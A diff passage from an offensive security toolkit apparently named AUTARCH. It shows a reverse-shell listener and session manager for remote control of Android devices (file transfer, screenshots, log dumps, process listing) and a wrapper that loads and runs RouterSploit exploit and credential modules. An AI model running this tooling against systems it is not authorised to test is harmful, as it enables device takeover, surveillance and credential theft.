except Exception:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def upload(self, local_path: str, remote_path: str) -> dict:
|
||||||
|
"""Upload file to device."""
|
||||||
|
try:
|
||||||
|
with open(local_path, 'rb') as f:
|
||||||
|
data = base64.b64encode(f.read()).decode('ascii')
|
||||||
|
except IOError as e:
|
||||||
|
return {'stdout': '', 'stderr': f'Failed to read local file: {e}', 'exit_code': -1}
|
||||||
|
|
||||||
|
return self.execute_special('__upload__', path=remote_path, data=data)
|
||||||
|
|
||||||
|
def processes(self) -> dict:
|
||||||
|
"""List running processes."""
|
||||||
|
return self.execute('__processes__', timeout=10)
|
||||||
|
|
||||||
|
def netstat(self) -> dict:
|
||||||
|
"""Get network connections."""
|
||||||
|
return self.execute('__netstat__', timeout=10)
|
||||||
|
|
||||||
|
def dumplog(self, lines: int = 100) -> dict:
|
||||||
|
"""Get logcat output."""
|
||||||
|
return self.execute_special('__dumplog__', lines=min(lines, 5000))
|
||||||
|
|
||||||
|
def ping(self) -> bool:
|
||||||
|
"""Send keepalive ping."""
|
||||||
|
with self._lock:
|
||||||
|
if not self._alive:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
self._writer.write('{"type":"ping"}\n')
|
||||||
|
self._writer.flush()
|
||||||
|
self.socket.settimeout(10)
|
||||||
|
response = self._reader.readline()
|
||||||
|
if not response:
|
||||||
|
self._alive = False
|
||||||
|
return False
|
||||||
|
result = json.loads(response)
|
||||||
|
return result.get('type') == 'pong'
|
||||||
|
except Exception:
|
||||||
|
self._alive = False
|
||||||
|
return False
|
||||||
|
|
||||||
|
def disconnect(self):
|
||||||
|
"""Gracefully disconnect the session."""
|
||||||
|
with self._lock:
|
||||||
|
if not self._alive:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
self._writer.write('{"type":"disconnect"}\n')
|
||||||
|
self._writer.flush()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self._alive = False
|
||||||
|
try:
|
||||||
|
self.socket.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def to_dict(self) -> dict:
|
||||||
|
"""Serialize session info for API responses."""
|
||||||
|
return {
|
||||||
|
'session_id': self.session_id,
|
||||||
|
'device': self.device_name,
|
||||||
|
'android': self.android_version,
|
||||||
|
'uid': self.uid,
|
||||||
|
'connected_at': self.connected_at.isoformat(),
|
||||||
|
'uptime': int(self.uptime),
|
||||||
|
'commands_executed': len(self.command_log),
|
||||||
|
'alive': self._alive,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class RevShellListener:
|
||||||
|
"""TCP listener for incoming Archon reverse shell connections."""
|
||||||
|
|
||||||
|
def __init__(self, host: str = '0.0.0.0', port: int = 17322, auth_token: str = None):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.auth_token = auth_token or uuid.uuid4().hex[:32]
|
||||||
|
self.sessions: Dict[str, RevShellSession] = {}
|
||||||
|
self._server_socket: Optional[socket.socket] = None
|
||||||
|
self._accept_thread: Optional[threading.Thread] = None
|
||||||
|
self._keepalive_thread: Optional[threading.Thread] = None
|
||||||
|
self._running = False
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
|
||||||
|
# Data directory for screenshots, downloads, etc.
|
||||||
|
self._data_dir = get_data_dir() / 'revshell'
|
||||||
|
self._data_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def running(self) -> bool:
|
||||||
|
return self._running
|
||||||
|
|
||||||
|
@property
|
||||||
|
def active_sessions(self) -> List[RevShellSession]:
|
||||||
|
return [s for s in self.sessions.values() if s.alive]
|
||||||
|
|
||||||
|
def start(self) -> Tuple[bool, str]:
|
||||||
|
"""Start listening for incoming reverse shell connections."""
|
||||||
|
if self._running:
|
||||||
|
return (False, 'Listener already running')
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self._server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
self._server_socket.settimeout(2.0) # Accept timeout for clean shutdown
|
||||||
|
self._server_socket.bind((self.host, self.port))
|
||||||
|
self._server_socket.listen(5)
|
||||||
|
except OSError as e:
|
||||||
|
return (False, f'Failed to bind {self.host}:{self.port}: {e}')
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
|
||||||
|
self._accept_thread = threading.Thread(target=self._accept_loop, daemon=True)
|
||||||
|
self._accept_thread.start()
|
||||||
|
|
||||||
|
self._keepalive_thread = threading.Thread(target=self._keepalive_loop, daemon=True)
|
||||||
|
self._keepalive_thread.start()
|
||||||
|
|
||||||
|
logger.info(f"RevShell listener started on {self.host}:{self.port}")
|
||||||
|
logger.info(f"Auth token: {self.auth_token}")
|
||||||
|
return (True, f'Listening on {self.host}:{self.port}')
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
"""Stop listener and disconnect all sessions."""
|
||||||
|
self._running = False
|
||||||
|
|
||||||
|
# Disconnect all sessions
|
||||||
|
for session in list(self.sessions.values()):
|
||||||
|
try:
|
||||||
|
session.disconnect()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Close server socket
|
||||||
|
if self._server_socket:
|
||||||
|
try:
|
||||||
|
self._server_socket.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Wait for threads
|
||||||
|
if self._accept_thread:
|
||||||
|
self._accept_thread.join(timeout=5)
|
||||||
|
if self._keepalive_thread:
|
||||||
|
self._keepalive_thread.join(timeout=5)
|
||||||
|
|
||||||
|
logger.info("RevShell listener stopped")
|
||||||
|
|
||||||
|
def get_session(self, session_id: str) -> Optional[RevShellSession]:
|
||||||
|
"""Get session by ID."""
|
||||||
|
return self.sessions.get(session_id)
|
||||||
|
|
||||||
|
def list_sessions(self) -> List[dict]:
|
||||||
|
"""List all sessions with their info."""
|
||||||
|
return [s.to_dict() for s in self.sessions.values()]
|
||||||
|
|
||||||
|
def remove_session(self, session_id: str):
|
||||||
|
"""Disconnect and remove a session."""
|
||||||
|
session = self.sessions.pop(session_id, None)
|
||||||
|
if session:
|
||||||
|
session.disconnect()
|
||||||
|
|
||||||
|
def save_screenshot(self, session_id: str) -> Optional[str]:
|
||||||
|
"""Capture and save screenshot. Returns file path or None."""
|
||||||
|
session = self.get_session(session_id)
|
||||||
|
if not session or not session.alive:
|
||||||
|
return None
|
||||||
|
|
||||||
|
png_data = session.screenshot()
|
||||||
|
if not png_data:
|
||||||
|
return None
|
||||||
|
|
||||||
|
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||||
|
filename = f'screenshot_{session.device_name}_{timestamp}.png'
|
||||||
|
filepath = self._data_dir / filename
|
||||||
|
filepath.write_bytes(png_data)
|
||||||
|
return str(filepath)
|
||||||
|
|
||||||
|
def save_download(self, session_id: str, remote_path: str) -> Optional[str]:
|
||||||
|
"""Download file from device and save locally. Returns local path or None."""
|
||||||
|
session = self.get_session(session_id)
|
||||||
|
if not session or not session.alive:
|
||||||
|
return None
|
||||||
|
|
||||||
|
result = session.download(remote_path)
|
||||||
|
if not result:
|
||||||
|
return None
|
||||||
|
|
||||||
|
data, filename = result
|
||||||
|
filepath = self._data_dir / filename
|
||||||
|
filepath.write_bytes(data)
|
||||||
|
return str(filepath)
|
||||||
|
|
||||||
|
# ── Internal ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _accept_loop(self):
|
||||||
|
"""Accept incoming connections in background thread."""
|
||||||
|
while self._running:
|
||||||
|
try:
|
||||||
|
client_sock, addr = self._server_socket.accept()
|
||||||
|
client_sock.settimeout(30)
|
||||||
|
logger.info(f"Connection from {addr[0]}:{addr[1]}")
|
||||||
|
|
||||||
|
# Handle auth in a separate thread to not block accept
|
||||||
|
threading.Thread(
|
||||||
|
target=self._handle_new_connection,
|
||||||
|
args=(client_sock, addr),
|
||||||
|
daemon=True
|
||||||
|
).start()
|
||||||
|
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except OSError:
|
||||||
|
if self._running:
|
||||||
|
logger.error("Accept error")
|
||||||
|
break
|
||||||
|
|
||||||
|
def _handle_new_connection(self, sock: socket.socket, addr: tuple):
|
||||||
|
"""Authenticate a new connection."""
|
||||||
|
try:
|
||||||
|
reader = sock.makefile('r', encoding='utf-8', errors='replace')
|
||||||
|
writer = sock.makefile('w', encoding='utf-8', errors='replace')
|
||||||
|
|
||||||
|
# Read auth message
|
||||||
|
auth_line = reader.readline()
|
||||||
|
if not auth_line:
|
||||||
|
sock.close()
|
||||||
|
return
|
||||||
|
|
||||||
|
auth_msg = json.loads(auth_line)
|
||||||
|
|
||||||
|
if auth_msg.get('type') != 'auth':
|
||||||
|
writer.write('{"type":"auth_fail","reason":"Expected auth message"}\n')
|
||||||
|
writer.flush()
|
||||||
|
sock.close()
|
||||||
|
return
|
||||||
|
|
||||||
|
# Verify token
|
||||||
|
if auth_msg.get('token') != self.auth_token:
|
||||||
|
logger.warning(f"Auth failed from {addr[0]}:{addr[1]}")
|
||||||
|
writer.write('{"type":"auth_fail","reason":"Invalid token"}\n')
|
||||||
|
writer.flush()
|
||||||
|
sock.close()
|
||||||
|
return
|
||||||
|
|
||||||
|
# Auth OK — create session
|
||||||
|
writer.write('{"type":"auth_ok"}\n')
|
||||||
|
writer.flush()
|
||||||
|
|
||||||
|
session_id = uuid.uuid4().hex[:12]
|
||||||
|
device_info = {
|
||||||
|
'device': auth_msg.get('device', 'unknown'),
|
||||||
|
'android': auth_msg.get('android', '?'),
|
||||||
|
'uid': auth_msg.get('uid', -1),
|
||||||
|
'remote_addr': f"{addr[0]}:{addr[1]}"
|
||||||
|
}
|
||||||
|
|
||||||
|
session = RevShellSession(sock, device_info, session_id)
|
||||||
|
with self._lock:
|
||||||
|
self.sessions[session_id] = session
|
||||||
|
|
||||||
|
logger.info(f"Session {session_id}: {device_info['device']} "
|
||||||
|
f"(Android {device_info['android']}, UID {device_info['uid']})")
|
||||||
|
|
||||||
|
except (json.JSONDecodeError, OSError) as e:
|
||||||
|
logger.error(f"Auth error from {addr[0]}:{addr[1]}: {e}")
|
||||||
|
try:
|
||||||
|
sock.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _keepalive_loop(self):
|
||||||
|
"""Periodically ping sessions and remove dead ones."""
|
||||||
|
while self._running:
|
||||||
|
time.sleep(30)
|
||||||
|
dead = []
|
||||||
|
for sid, session in list(self.sessions.items()):
|
||||||
|
if not session.alive:
|
||||||
|
dead.append(sid)
|
||||||
|
continue
|
||||||
|
# Ping to check liveness
|
||||||
|
if not session.ping():
|
||||||
|
dead.append(sid)
|
||||||
|
logger.info(f"Session {sid} lost (keepalive failed)")
|
||||||
|
|
||||||
|
for sid in dead:
|
||||||
|
self.sessions.pop(sid, None)
|
||||||
|
|
||||||
|
|
||||||
|
# ── Singleton ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
_listener: Optional[RevShellListener] = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_listener() -> RevShellListener:
|
||||||
|
"""Get or create the global RevShellListener singleton."""
|
||||||
|
global _listener
|
||||||
|
if _listener is None:
|
||||||
|
_listener = RevShellListener()
|
||||||
|
return _listener
|
||||||
|
|
||||||
|
|
||||||
|
def start_listener(host: str = '0.0.0.0', port: int = 17322,
|
||||||
|
token: str = None) -> Tuple[bool, str]:
|
||||||
|
"""Start the global listener."""
|
||||||
|
global _listener
|
||||||
|
_listener = RevShellListener(host=host, port=port, auth_token=token)
|
||||||
|
return _listener.start()
|
||||||
|
|
||||||
|
|
||||||
|
def stop_listener():
|
||||||
|
"""Stop the global listener."""
|
||||||
|
global _listener
|
||||||
|
if _listener:
|
||||||
|
_listener.stop()
|
||||||
|
_listener = None
|
||||||
450
core/rsf.py
Normal file
450
core/rsf.py
Normal file
@ -0,0 +1,450 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH RouterSploit Framework Wrapper
|
||||||
|
Low-level interface for RouterSploit module discovery, import, and execution.
|
||||||
|
Direct Python import -- no RPC layer needed since RSF is pure Python.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import threading
|
||||||
|
import importlib
|
||||||
|
from io import StringIO
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import Optional, List, Dict, Tuple, Any
|
||||||
|
from contextlib import contextmanager
|
||||||
|
|
||||||
|
from .config import get_config
|
||||||
|
|
||||||
|
|
||||||
|
class RSFError(Exception):
|
||||||
|
"""Custom exception for RouterSploit operations."""
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class RSFModuleInfo:
|
||||||
|
"""Metadata for a RouterSploit module."""
|
||||||
|
name: str = ""
|
||||||
|
path: str = ""
|
||||||
|
description: str = ""
|
||||||
|
authors: Tuple[str, ...] = ()
|
||||||
|
devices: Tuple[str, ...] = ()
|
||||||
|
references: Tuple[str, ...] = ()
|
||||||
|
options: List[Dict[str, Any]] = field(default_factory=list)
|
||||||
|
module_type: str = "" # exploits, creds, scanners, payloads, encoders, generic
|
||||||
|
|
||||||
|
|
||||||
|
class RSFManager:
|
||||||
|
"""Manager for RouterSploit framework operations.
|
||||||
|
|
||||||
|
Handles sys.path setup, module discovery, dynamic import,
|
||||||
|
option introspection, stdout capture, and execution.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._available = None
|
||||||
|
self._module_index = None
|
||||||
|
self._path_added = False
|
||||||
|
|
||||||
|
def _ensure_path(self):
|
||||||
|
"""Add RSF install path to sys.path if not already present."""
|
||||||
|
if self._path_added:
|
||||||
|
return
|
||||||
|
|
||||||
|
config = get_config()
|
||||||
|
install_path = config.get('rsf', 'install_path', '')
|
||||||
|
|
||||||
|
if install_path and install_path not in sys.path:
|
||||||
|
sys.path.insert(0, install_path)
|
||||||
|
self._path_added = True
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_available(self) -> bool:
|
||||||
|
"""Check if RouterSploit is importable. Caches result."""
|
||||||
|
if self._available is not None:
|
||||||
|
return self._available
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._ensure_path()
|
||||||
|
import routersploit
|
||||||
|
self._available = True
|
||||||
|
except ImportError:
|
||||||
|
self._available = False
|
||||||
|
|
||||||
|
return self._available
|
||||||
|
|
||||||
|
def reset_cache(self):
|
||||||
|
"""Reset cached state (availability, module index)."""
|
||||||
|
self._available = None
|
||||||
|
self._module_index = None
|
||||||
|
self._path_added = False
|
||||||
|
|
||||||
|
def index_all_modules(self) -> List[str]:
|
||||||
|
"""Discover all RSF modules. Returns list of dotted module paths.
|
||||||
|
|
||||||
|
Uses routersploit.core.exploit.utils.index_modules() internally.
|
||||||
|
Results are cached after first call.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of module paths like 'exploits/routers/dlink/some_module'
|
||||||
|
"""
|
||||||
|
if self._module_index is not None:
|
||||||
|
return self._module_index
|
||||||
|
|
||||||
|
if not self.is_available:
|
||||||
|
raise RSFError("RouterSploit is not available")
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._ensure_path()
|
||||||
|
from routersploit.core.exploit import utils
|
||||||
|
|
||||||
|
modules_dir = os.path.join(
|
||||||
|
os.path.dirname(utils.__file__),
|
||||||
|
'..', '..', 'modules'
|
||||||
|
)
|
||||||
|
modules_dir = os.path.normpath(modules_dir)
|
||||||
|
|
||||||
|
if not os.path.isdir(modules_dir):
|
||||||
|
# Try from config path
|
||||||
|
config = get_config()
|
||||||
|
install_path = config.get('rsf', 'install_path', '')
|
||||||
|
modules_dir = os.path.join(install_path, 'routersploit', 'modules')
|
||||||
|
|
||||||
|
raw_index = utils.index_modules(modules_dir)
|
||||||
|
|
||||||
|
# Convert dotted paths to slash paths for display
|
||||||
|
self._module_index = []
|
||||||
|
for mod_path in raw_index:
|
||||||
|
# Remove 'routersploit.modules.' prefix if present
|
||||||
|
clean = mod_path
|
||||||
|
for prefix in ('routersploit.modules.', 'modules.'):
|
||||||
|
if clean.startswith(prefix):
|
||||||
|
clean = clean[len(prefix):]
|
||||||
|
# Convert dots to slashes
|
||||||
|
clean = clean.replace('.', '/')
|
||||||
|
self._module_index.append(clean)
|
||||||
|
|
||||||
|
return self._module_index
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
raise RSFError(f"Failed to index modules: {e}")
|
||||||
|
|
||||||
|
def get_module_count(self) -> int:
|
||||||
|
"""Get total number of indexed modules."""
|
||||||
|
try:
|
||||||
|
return len(self.index_all_modules())
|
||||||
|
except RSFError:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
def get_modules_by_type(self, module_type: str) -> List[str]:
|
||||||
|
"""Filter modules by type (exploits, creds, scanners, payloads, encoders, generic).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
module_type: One of 'exploits', 'creds', 'scanners', 'payloads', 'encoders', 'generic'
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of matching module paths
|
||||||
|
"""
|
||||||
|
all_modules = self.index_all_modules()
|
||||||
|
return [m for m in all_modules if m.startswith(module_type + '/')]
|
||||||
|
|
||||||
|
def search_modules(self, query: str) -> List[str]:
|
||||||
|
"""Search modules by substring match on path.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
query: Search string (case-insensitive)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of matching module paths
|
||||||
|
"""
|
||||||
|
all_modules = self.index_all_modules()
|
||||||
|
query_lower = query.lower()
|
||||||
|
return [m for m in all_modules if query_lower in m.lower()]
|
||||||
|
|
||||||
|
def _dotted_path(self, slash_path: str) -> str:
|
||||||
|
"""Convert slash path to dotted import path.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
slash_path: e.g. 'exploits/routers/dlink/some_module'
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dotted path like 'routersploit.modules.exploits.routers.dlink.some_module'
|
||||||
|
"""
|
||||||
|
clean = slash_path.strip('/')
|
||||||
|
dotted = clean.replace('/', '.')
|
||||||
|
return f"routersploit.modules.{dotted}"
|
||||||
|
|
||||||
|
def load_module(self, path: str) -> Tuple[Any, RSFModuleInfo]:
|
||||||
|
"""Load a RouterSploit module by path.
|
||||||
|
|
||||||
|
Converts slash path to dotted import path, imports using
|
||||||
|
import_exploit(), instantiates, and extracts metadata.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
path: Module path like 'exploits/routers/dlink/some_module'
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (module_instance, RSFModuleInfo)
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
RSFError: If module cannot be loaded
|
||||||
|
"""
|
||||||
|
if not self.is_available:
|
||||||
|
raise RSFError("RouterSploit is not available")
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._ensure_path()
|
||||||
|
from routersploit.core.exploit.utils import import_exploit
|
||||||
|
|
||||||
|
dotted = self._dotted_path(path)
|
||||||
|
module_class = import_exploit(dotted)
|
||||||
|
instance = module_class()
|
||||||
|
|
||||||
|
# Extract __info__ dict
|
||||||
|
info_dict = {}
|
||||||
|
# RSF metaclass renames __info__ to _ClassName__info__
|
||||||
|
for attr in dir(instance):
|
||||||
|
if attr.endswith('__info__') or attr == '__info__':
|
||||||
|
try:
|
||||||
|
info_dict = getattr(instance, attr)
|
||||||
|
if isinstance(info_dict, dict):
|
||||||
|
break
|
||||||
|
except AttributeError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# If not found via mangled name, try class hierarchy
|
||||||
|
if not info_dict:
|
||||||
|
for klass in type(instance).__mro__:
|
||||||
|
mangled = f"_{klass.__name__}__info__"
|
||||||
|
if hasattr(klass, mangled):
|
||||||
|
info_dict = getattr(klass, mangled)
|
||||||
|
if isinstance(info_dict, dict):
|
||||||
|
break
|
||||||
|
|
||||||
|
# Extract options
|
||||||
|
options = self.get_module_options(instance)
|
||||||
|
|
||||||
|
# Determine module type from path
|
||||||
|
parts = path.split('/')
|
||||||
|
module_type = parts[0] if parts else ""
|
||||||
|
|
||||||
|
module_info = RSFModuleInfo(
|
||||||
|
name=info_dict.get('name', path.split('/')[-1]),
|
||||||
|
path=path,
|
||||||
|
description=info_dict.get('description', ''),
|
||||||
|
authors=info_dict.get('authors', ()),
|
||||||
|
devices=info_dict.get('devices', ()),
|
||||||
|
references=info_dict.get('references', ()),
|
||||||
|
options=options,
|
||||||
|
module_type=module_type,
|
||||||
|
)
|
||||||
|
|
||||||
|
return instance, module_info
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
raise RSFError(f"Failed to load module '{path}': {e}")
|
||||||
|
|
||||||
|
def get_module_options(self, instance) -> List[Dict[str, Any]]:
|
||||||
|
"""Introspect Option descriptors on a module instance.
|
||||||
|
|
||||||
|
Uses RSF's exploit_attributes metaclass aggregator to get
|
||||||
|
option names, then reads descriptor properties for details.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
instance: Instantiated RSF module
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of dicts with keys: name, type, default, description, current, advanced
|
||||||
|
"""
|
||||||
|
options = []
|
||||||
|
|
||||||
|
# Try exploit_attributes first (set by metaclass)
|
||||||
|
exploit_attrs = getattr(type(instance), 'exploit_attributes', {})
|
||||||
|
|
||||||
|
if exploit_attrs:
|
||||||
|
for name, attr_info in exploit_attrs.items():
|
||||||
|
# attr_info is [display_value, description, advanced]
|
||||||
|
display_value = attr_info[0] if len(attr_info) > 0 else ""
|
||||||
|
description = attr_info[1] if len(attr_info) > 1 else ""
|
||||||
|
advanced = attr_info[2] if len(attr_info) > 2 else False
|
||||||
|
|
||||||
|
# Get current value from instance
|
||||||
|
try:
|
||||||
|
current = getattr(instance, name, display_value)
|
||||||
|
except Exception:
|
||||||
|
current = display_value
|
||||||
|
|
||||||
|
# Determine option type from the descriptor class
|
||||||
|
opt_type = "string"
|
||||||
|
for klass in type(instance).__mro__:
|
||||||
|
if name in klass.__dict__:
|
||||||
|
descriptor = klass.__dict__[name]
|
||||||
|
opt_type = type(descriptor).__name__.lower()
|
||||||
|
# Clean up: optip -> ip, optport -> port, etc.
|
||||||
|
opt_type = opt_type.replace('opt', '')
|
||||||
|
break
|
||||||
|
|
||||||
|
options.append({
|
||||||
|
'name': name,
|
||||||
|
'type': opt_type,
|
||||||
|
'default': display_value,
|
||||||
|
'description': description,
|
||||||
|
'current': str(current) if current is not None else "",
|
||||||
|
'advanced': advanced,
|
||||||
|
})
|
||||||
|
else:
|
||||||
|
# Fallback: inspect instance options property
|
||||||
|
opt_names = getattr(instance, 'options', [])
|
||||||
|
for name in opt_names:
|
||||||
|
try:
|
||||||
|
current = getattr(instance, name, "")
|
||||||
|
options.append({
|
||||||
|
'name': name,
|
||||||
|
'type': 'string',
|
||||||
|
'default': str(current),
|
||||||
|
'description': '',
|
||||||
|
'current': str(current) if current is not None else "",
|
||||||
|
'advanced': False,
|
||||||
|
})
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
|
||||||
|
return options
|
||||||
|
|
||||||
|
def set_module_option(self, instance, name: str, value: str) -> bool:
|
||||||
|
"""Set an option on a module instance.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
instance: RSF module instance
|
||||||
|
name: Option name
|
||||||
|
value: Value to set (string, will be validated by descriptor)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if set successfully
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
RSFError: If option cannot be set
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
setattr(instance, name, value)
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
raise RSFError(f"Failed to set option '{name}': {e}")
|
||||||
|
|
||||||
|
@contextmanager
|
||||||
|
def capture_output(self):
|
||||||
|
"""Context manager to capture stdout/stderr from RSF modules.
|
||||||
|
|
||||||
|
RSF modules print directly via their printer system. This
|
||||||
|
redirects stdout/stderr to StringIO for capturing output.
|
||||||
|
|
||||||
|
Yields:
|
||||||
|
StringIO object containing captured output
|
||||||
|
"""
|
||||||
|
captured = StringIO()
|
||||||
|
old_stdout = sys.stdout
|
||||||
|
old_stderr = sys.stderr
|
||||||
|
|
||||||
|
try:
|
||||||
|
sys.stdout = captured
|
||||||
|
sys.stderr = captured
|
||||||
|
yield captured
|
||||||
|
finally:
|
||||||
|
sys.stdout = old_stdout
|
||||||
|
sys.stderr = old_stderr
|
||||||
|
|
||||||
|
def execute_check(self, instance, timeout: int = 60) -> Tuple[Optional[bool], str]:
|
||||||
|
"""Run check() on a module with stdout capture and timeout.
|
||||||
|
|
||||||
|
check() is the safe vulnerability verification method.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
instance: RSF module instance (already configured)
|
||||||
|
timeout: Timeout in seconds
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (result, output) where result is True/False/None
|
||||||
|
"""
|
||||||
|
result = [None]
|
||||||
|
output = [""]
|
||||||
|
error = [None]
|
||||||
|
|
||||||
|
def _run():
|
||||||
|
try:
|
||||||
|
with self.capture_output() as captured:
|
||||||
|
check_result = instance.check()
|
||||||
|
result[0] = check_result
|
||||||
|
output[0] = captured.getvalue()
|
||||||
|
except Exception as e:
|
||||||
|
error[0] = e
|
||||||
|
try:
|
||||||
|
output[0] = captured.getvalue()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_run, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
thread.join(timeout=timeout)
|
||||||
|
|
||||||
|
if thread.is_alive():
|
||||||
|
return None, output[0] + "\n[!] Module execution timed out"
|
||||||
|
|
||||||
|
if error[0]:
|
||||||
|
return None, output[0] + f"\n[-] Error: {error[0]}"
|
||||||
|
|
||||||
|
return result[0], output[0]
|
||||||
|
|
||||||
|
def execute_run(self, instance, timeout: int = 120) -> Tuple[bool, str]:
|
||||||
|
"""Run run() on a module with stdout capture and timeout.
|
||||||
|
|
||||||
|
run() is the full exploit execution method.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
instance: RSF module instance (already configured)
|
||||||
|
timeout: Timeout in seconds
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (completed, output) where completed indicates
|
||||||
|
whether execution finished within timeout
|
||||||
|
"""
|
||||||
|
completed = [False]
|
||||||
|
output = [""]
|
||||||
|
error = [None]
|
||||||
|
|
||||||
|
def _run():
|
||||||
|
try:
|
||||||
|
with self.capture_output() as captured:
|
||||||
|
instance.run()
|
||||||
|
completed[0] = True
|
||||||
|
output[0] = captured.getvalue()
|
||||||
|
except Exception as e:
|
||||||
|
error[0] = e
|
||||||
|
try:
|
||||||
|
output[0] = captured.getvalue()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
thread = threading.Thread(target=_run, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
thread.join(timeout=timeout)
|
||||||
|
|
||||||
|
if thread.is_alive():
|
||||||
|
return False, output[0] + "\n[!] Module execution timed out"
|
||||||
|
|
||||||
|
if error[0]:
|
||||||
|
return False, output[0] + f"\n[-] Error: {error[0]}"
|
||||||
|
|
||||||
|
return completed[0], output[0]
|
||||||
|
|
||||||
|
|
||||||
|
# Singleton instance
|
||||||
|
_rsf_manager = None
|
||||||
|
|
||||||
|
|
||||||
|
def get_rsf_manager() -> RSFManager:
|
||||||
|
"""Get the global RSFManager singleton instance."""
|
||||||
|
global _rsf_manager
|
||||||
|
if _rsf_manager is None:
|
||||||
|
_rsf_manager = RSFManager()
|
||||||
|
return _rsf_manager
|
||||||
480
core/rsf_interface.py
Normal file
480
core/rsf_interface.py
Normal file
@ -0,0 +1,480 @@
|
|||||||
|
"""
|
||||||
|
AUTARCH RouterSploit High-Level Interface
|
||||||
|
Clean API for RSF operations, mirroring core/msf_interface.py patterns.
|
||||||
|
Wraps RSFManager with result parsing and formatted output.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
from enum import Enum
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import Optional, List, Dict, Any
|
||||||
|
|
||||||
|
from .rsf import get_rsf_manager, RSFError, RSFModuleInfo
|
||||||
|
from .banner import Colors
|
||||||
|
|
||||||
|
|
||||||
|
class RSFStatus(Enum):
|
||||||
|
"""Status codes for RSF operations."""
|
||||||
|
SUCCESS = "success"
|
||||||
|
VULNERABLE = "vulnerable"
|
||||||
|
NOT_VULNERABLE = "not_vulnerable"
|
||||||
|
FAILED = "failed"
|
||||||
|
TIMEOUT = "timeout"
|
||||||
|
NOT_AVAILABLE = "not_available"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class RSFResult:
|
||||||
|
"""Result of an RSF module execution."""
|
||||||
|
status: RSFStatus
|
||||||
|
module_path: str
|
||||||
|
target: str = ""
|
||||||
|
|
||||||
|
# Raw and cleaned output
|
||||||
|
raw_output: str = ""
|
||||||
|
cleaned_output: str = ""
|
||||||
|
|
||||||
|
# Parsed results
|
||||||
|
successes: List[str] = field(default_factory=list) # [+] lines
|
||||||
|
info: List[str] = field(default_factory=list) # [*] lines
|
||||||
|
errors: List[str] = field(default_factory=list) # [-] lines
|
||||||
|
|
||||||
|
# Credential results
|
||||||
|
credentials: List[Dict[str, str]] = field(default_factory=list)
|
||||||
|
|
||||||
|
# Check result (True/False/None)
|
||||||
|
check_result: Optional[bool] = None
|
||||||
|
|
||||||
|
# Execution metadata
|
||||||
|
execution_time: float = 0.0
|
||||||
|
|
||||||
|
|
||||||
|
# ANSI escape code pattern
|
||||||
|
